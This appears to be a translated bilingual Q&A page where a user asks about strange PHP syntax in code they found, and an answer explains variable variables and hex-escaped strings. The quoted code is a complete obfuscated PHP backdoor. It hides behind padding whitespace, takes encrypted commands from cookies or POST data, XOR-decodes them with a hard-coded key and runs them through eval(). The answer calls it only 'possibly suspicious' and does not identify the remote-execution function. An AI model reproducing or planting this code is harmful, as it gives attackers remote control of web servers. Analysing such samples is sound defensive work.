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到底是怎么回事？ 我从未见过这样的 PHP 语法：${“\\x47\\x4c\\x4fB\\x41\\x4c\\x53”}['v9800']

[英]What is going on? I have never seen PHP syntax like this: ${“\x47\x4c\x4fB\x41\x4c\x53”}['v9800']

 原文  2020-09-11 14:51:43  1   1    php/ syntax

问题描述

There is some strange syntax in this php code I found:我发现这段 php 代码中有一些奇怪的语法：

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $hd701 = 475;$GLOBALS['xbe829'] = Array();global $xbe829;$xbe829 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['v9800'] = "\x7a\x7b\x60\x5b\x4a\x56\x6c\x51\x21\x62\x38\x66\x44\xa\x2e\x27\x22\x50\x58\x45\x49\x3d\x79\x43\x23\x3b\x53\x29\x2a\x30\x6b\x73\x63\x9\x77\x6f\x47\x6a\x4e\x54\x39\x3f\x40\x4f\x35\x4b\x26\x34\x6d\x5d\x76\x3a\x3c\x64\x71\x67\x5e\x5c\x46\x6e\x75\x4c\xd\x42\x65\x52\x48\x70\x41\x68\x55\x2b\x57\x5a\x69\x7c\x20\x2c\x28\x74\x59\x3e\x2f\x37\x78\x33\x31\x7d\x61\x5f\x7e\x72\x2d\x24\x36\x25\x4d\x32";$xbe829[$xbe829['v9800'][32].$xbe829['v9800'][85].$xbe829['v9800'][11].$xbe829['v9800'][11].$xbe829['v9800'][94]] = $xbe829['v9800'][32].$xbe829['v9800'][69].$xbe829['v9800'][91];$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][29].$xbe829['v9800'][86].$xbe829['v9800'][86]] = $xbe829['v9800'][35].$xbe829['v9800'][91].$xbe829['v9800'][53];$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]] = $xbe829['v9800'][31].$xbe829['v9800'][79].$xbe829['v9800'][91].$xbe829['v9800'][6].$xbe829['v9800'][64].$xbe829['v9800'][59];$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]] = $xbe829['v9800'][74].$xbe829['v9800'][59].$xbe829['v9800'][74].$xbe829['v9800'][89].$xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][79];$xbe829[$xbe829['v9800'][11].$xbe829['v9800'][44].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][94].$xbe829['v9800'][44].$xbe829['v9800'][11]] = $xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][74].$xbe829['v9800'][88].$xbe829['v9800'][6].$xbe829['v9800'][74].$xbe829['v9800'][0].$xbe829['v9800'][64];$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][64].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][47].$xbe829['v9800'][64].$xbe829['v9800'][11].$xbe829['v9800'][97]] = $xbe829['v9800'][67].$xbe829['v9800'][69].$xbe829['v9800'][67].$xbe829['v9800'][50].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][31].$xbe829['v9800'][74].$xbe829['v9800'][35].$xbe829['v9800'][59];$xbe829[$xbe829['v9800'][0].$xbe829['v9800'][64].$xbe829['v9800'][47].$xbe829['v9800'][94].$xbe829['v9800'][86]] = $xbe829['v9800'][60].$xbe829['v9800'][59].$xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][74].$xbe829['v9800'][88].$xbe829['v9800'][6].$xbe829['v9800'][74].$xbe829['v9800'][0].$xbe829['v9800'][64];$xbe829[$xbe829['v9800'][48].$xbe829['v9800'][97].$xbe829['v9800'][83].$xbe829['v9800'][44].$xbe829['v9800'][32]] = $xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][94].$xbe829['v9800'][47].$xbe829['v9800'][89].$xbe829['v9800'][53].$xbe829['v9800'][64].$xbe829['v9800'][32].$xbe829['v9800'][35].$xbe829['v9800'][53].$xbe829['v9800'][64];$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][47].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][11]] = $xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][79].$xbe829['v9800'][89].$xbe829['v9800'][79].$xbe829['v9800'][74].$xbe829['v9800'][48].$xbe829['v9800'][64].$xbe829['v9800'][89].$xbe829['v9800'][6].$xbe829['v9800'][74].$xbe829['v9800'][48].$xbe829['v9800'][74].$xbe829['v9800'][79];$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][9].$xbe829['v9800'][29].$xbe829['v9800'][83].$xbe829['v9800'][47]] = $xbe829['v9800'][31].$xbe829['v9800'][32].$xbe829['v9800'][53].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][9];$xbe829[$xbe829['v9800'][22].$xbe829['v9800'][29].$xbe829['v9800'][40].$xbe829['v9800'][9].$xbe829['v9800'][9].$xbe829['v9800'][85].$xbe829['v9800'][88].$xbe829['v9800'][53]] = $xbe829['v9800'][69].$xbe829['v9800'][86].$xbe829['v9800'][94].$xbe829['v9800'][86].$xbe829['v9800'][29].$xbe829['v9800'][83];$xbe829[$xbe829['v9800'][88].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][85].$xbe829['v9800'][9].$xbe829['v9800'][44].$xbe829['v9800'][88]] = $_POST;$xbe829[$xbe829['v9800'][60].$xbe829['v9800'][83].$xbe829['v9800'][86].$xbe829['v9800'][9].$xbe829['v9800'][86].$xbe829['v9800'][86].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][9]] = $_COOKIE;@$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]]($xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][91].$xbe829['v9800'][35].$xbe829['v9800'][91].$xbe829['v9800'][89].$xbe829['v9800'][6].$xbe829['v9800'][35].$xbe829['v9800'][55], NULL);@$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]]($xbe829['v9800'][6].$xbe829['v9800'][35].$xbe829['v9800'][55].$xbe829['v9800'][89].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][91].$xbe829['v9800'][35].$xbe829['v9800'][91].$xbe829['v9800'][31], 0);@$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]]($xbe829['v9800'][48].$xbe829['v9800'][88].$xbe829['v9800'][84].$xbe829['v9800'][89].$xbe829['v9800'][64].$xbe829['v9800'][84].$xbe829['v9800'][64].$xbe829['v9800'][32].$xbe829['v9800'][60].$xbe829['v9800'][79].$xbe829['v9800'][74].$xbe829['v9800'][35].$xbe829['v9800'][59].$xbe829['v9800'][89].$xbe829['v9800'][79].$xbe829['v9800'][74].$xbe829['v9800'][48].$xbe829['v9800'][64], 0);@$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][47].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][11]](0);$x7bb89b70 = NULL;$t0e76b849 = NULL;$xbe829[$xbe829['v9800'][67].$xbe829['v9800'][47].$xbe829['v9800'][10].$xbe829['v9800'][85].$xbe829['v9800'][29].$xbe829['v9800'][83].$xbe829['v9800'][44].$xbe829['v9800'][40].$xbe829['v9800'][47]] = $xbe829['v9800'][40].$xbe829['v9800'][44].$xbe829['v9800'][88].$xbe829['v9800'][64].$xbe829['v9800'][32].$xbe829['v9800'][88].$xbe829['v9800'][85].$xbe829['v9800'][83].$xbe829['v9800'][92].$xbe829['v9800'][64].$xbe829['v9800'][53].$xbe829['v9800'][10].$xbe829['v9800'][86].$xbe829['v9800'][92].$xbe829['v9800'][47].$xbe829['v9800'][10].$xbe829['v9800'][47].$xbe829['v9800'][83].$xbe829['v9800'][92].$xbe829['v9800'][40].$xbe829['v9800'][64].$xbe829['v9800'][83].$xbe829['v9800'][86].$xbe829['v9800'][92].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][94].$xbe829['v9800'][86].$xbe829['v9800'][10].$xbe829['v9800'][9].$xbe829['v9800'][86].$xbe829['v9800'][53].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][44].$xbe829['v9800'][47];global $p48307594;function  h16107($x7bb89b70, $he719627){global $xbe829;$gea9ce = "";for ($t69c26=0; $t69c26<$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]]($x7bb89b70);){for ($nb3186c8=0; $nb3186c8<$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]]($he719627) && $t69c26<$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]]($x7bb89b70); $nb3186c8++, $t69c26++){$gea9ce .= $xbe829[$xbe829['v9800'][32].$xbe829['v9800'][85].$xbe829['v9800'][11].$xbe829['v9800'][11].$xbe829['v9800'][94]]($xbe829[$xbe829['v9800'][74].$xbe829['v9800'][29].$xbe829['v9800'][86].$xbe829['v9800'][86]]($x7bb89b70[$t69c26]) ^ $xbe829[$xbe829['v9800'][74].$xbe829['v9800'][29].$xbe829['v9800'][86].$xbe829['v9800'][86]]($he719627[$nb3186c8]));}}return $gea9ce;}function  scdbab($x7bb89b70, $he719627){global $xbe829;global $p48307594;return $xbe829[$xbe829['v9800'][22].$xbe829['v9800'][29].$xbe829['v9800'][40].$xbe829['v9800'][9].$xbe829['v9800'][9].$xbe829['v9800'][85].$xbe829['v9800'][88].$xbe829['v9800'][53]]($xbe829[$xbe829['v9800'][22].$xbe829['v9800'][29].$xbe829['v9800'][40].$xbe829['v9800'][9].$xbe829['v9800'][9].$xbe829['v9800'][85].$xbe829['v9800'][88].$xbe829['v9800'][53]]($x7bb89b70, $p48307594), $he719627);}foreach ($xbe829[$xbe829['v9800'][60].$xbe829['v9800'][83].$xbe829['v9800'][86].$xbe829['v9800'][9].$xbe829['v9800'][86].$xbe829['v9800'][86].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][9]] as $he719627=>$y301fc25){$x7bb89b70 = $y301fc25;$t0e76b849 = $he719627;}if (!$x7bb89b70){foreach ($xbe829[$xbe829['v9800'][88].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][85].$xbe829['v9800'][9].$xbe829['v9800'][44].$xbe829['v9800'][88]] as $he719627=>$y301fc25){$x7bb89b70 = $y301fc25;$t0e76b849 = $he719627;}}$x7bb89b70 = @$xbe829[$xbe829['v9800'][0].$xbe829['v9800'][64].$xbe829['v9800'][47].$xbe829['v9800'][94].$xbe829['v9800'][86]]($xbe829[$xbe829['v9800'][79].$xbe829['v9800'][9].$xbe829['v9800'][29].$xbe829['v9800'][83].$xbe829['v9800'][47]]($xbe829[$xbe829['v9800'][48].$xbe829['v9800'][97].$xbe829['v9800'][83].$xbe829['v9800'][44].$xbe829['v9800'][32]]($x7bb89b70), $t0e76b849));if (isset($x7bb89b70[$xbe829['v9800'][88].$xbe829['v9800'][30]]) && $p48307594==$x7bb89b70[$xbe829['v9800'][88].$xbe829['v9800'][30]]){if ($x7bb89b70[$xbe829['v9800'][88]] == $xbe829['v9800'][74]){$t69c26 = Array($xbe829['v9800'][67].$xbe829['v9800'][50] => @$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][64].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][47].$xbe829['v9800'][64].$xbe829['v9800'][11].$xbe829['v9800'][97]](),$xbe829['v9800'][31].$xbe829['v9800'][50] => $xbe829['v9800'][86].$xbe829['v9800'][14].$xbe829['v9800'][29].$xbe829['v9800'][92].$xbe829['v9800'][86],);echo @$xbe829[$xbe829['v9800'][11].$xbe829['v9800'][44].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][94].$xbe829['v9800'][44].$xbe829['v9800'][11]]($t69c26);}elseif ($x7bb89b70[$xbe829['v9800'][88]] == $xbe829['v9800'][64]){eval/*l551d*/($x7bb89b70[$xbe829['v9800'][53]]);}exit();} ?>

In particular I am very curious, what kind of syntax is this?我特别好奇，这是什么语法？

${"\x47\x4c\x4fB\x41\x4c\x53"}['v9800']

1 个解决方案

解决方案1
 4 已采纳  2020-09-11 15:18:08

Firstly, to address the code syntax itself, PHP allows you to dynamically create variable names.首先，为了解决代码语法本身，PHP 允许您动态创建变量名。

Let's say you have a variable:假设您有一个变量：

$test = 123;

You can dynamically create a reference to this variable like so:您可以像这样动态地创建对这个变量的引用：

echo ${'test'};  // Prints '123'

Why would you want to do this?你为什么想做这个？ Well the example above is pointless, but let's say you need to dynamically run through some variable names at runtime:好吧，上面的示例毫无意义，但是假设您需要在运行时动态运行一些变量名称：

$var1 = 'A';
$var2 = 'B';
$var3 = 'C';

for ($i = 1; $i <= 3; $i++) {
    echo ${'var' . $i};
}

// Prints 'ABC'

So now that we know what the syntax means, what does \\x47\\x4c\\x4fB\\x41\\x4c\\x53 mean?既然我们知道了语法的含义，那么\\x47\\x4c\\x4fB\\x41\\x4c\\x53是什么意思呢？

The \\x is used to escape a hexadecimal character sequence. \\x用于转义十六进制字符序列。 In simple terms, the string you've shown is a bunch of characters that someone has represented as hexadecimal rather than human readable ASCII characters you are used to seeing.简单来说，您显示的字符串是一堆字符，有人将其表示为十六进制，而不是您习惯看到的人类可读的 ASCII 字符。

If we get rid of the \\x escape parts, we are left with:如果我们去掉\\x转义部分，我们将剩下：

474c4fB414c53

As far as I can tell, the B here is not intended to be hex.据我所知，这里的B不是十六进制的。 This leaves us with:这给我们留下了：

474c4f 414c53

Which translates to:翻译成：

GLO ALS

And if we replace the B we get:如果我们替换B我们得到：

GLOBALS

If we add that back in to your dynamic variable reference and look at the code again, we get:如果我们将其重新添加到您的动态变量引用中并再次查看代码，我们会得到：

$GLOBALS['v9800']

This is interesting, because $GLOBALS is a special array available in PHP which gives access to all variables in the global scope.这很有趣，因为$GLOBALS是 PHP 中可用的特殊数组，它可以访问全局范围内的所有变量。 So essentially, your code is trying to access a global variable called $v9800 .所以本质上，您的代码试图访问一个名为$v9800的全局变量。

You will have to decide what that might mean for your application, but it's possible this code is suspicious.您必须决定这对您的应用程序意味着什么，但此代码可能是可疑的。 It could be that someone has deliberately disguised their code using this cryptic method, to try to access a global variable.可能是有人故意使用这种神秘方法来伪装他们的代码，以尝试访问全局变量。

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